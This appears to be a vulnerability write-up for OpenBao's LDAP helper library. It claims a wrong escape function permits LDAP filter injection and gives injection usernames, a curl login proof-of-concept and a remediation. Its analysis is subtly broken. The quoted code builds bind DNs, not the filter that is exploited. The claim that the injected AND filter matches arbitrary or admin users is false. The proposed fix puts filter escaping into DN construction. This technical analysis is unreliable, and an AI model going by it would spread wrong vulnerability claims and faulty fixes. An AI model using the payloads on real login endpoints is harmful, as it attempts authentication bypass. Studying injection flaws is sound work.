OpenBao: LDAPi ldaputil (wrong escape func)

1. Description

Component

sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.

Root Cause

The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)

The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.

LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.

The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.

Exploitation Mechanics

Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op — no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
                              ^^ injection point

The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to:

• sAMAccountName=alice AND objectClass=user AND objectClass=*

Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.

Preconditions

• LDAP authentication backend must be configured
• Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
• Attacker controls the username field at login time

2. Proof of Concept

# Login with LDAP injection payload as username
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice)(sAMAccountName=*",
    "password": "anything"
  }' \
  https://localhost:8200/v1/auth/ldap/login/admin

# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
#                   injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policies

The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.

3. Impact

Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.

Why This Is High Severity

The LDAP auth backend is frequently used as a primary authentication method for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.

4. Remediation

Primary Fix: Use ldap.EscapeFilter

Replace EscapeLDAPValue with ldap.EscapeFilter in both filter construction paths:

import "github.com/go-ldap/ldap/v3"

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)

EscapeLDAPValue is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use ldap.EscapeFilter.

Audit: All Call Sites

Review all usages of EscapeLDAPValue across the codebase to ensure none are used in filter context:

grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/

Defense-in-Depth

• Apply the principle of least privilege to LDAP service accounts used by OpenBao
• Use UserFilter with explicit attribute constraints to limit the search scope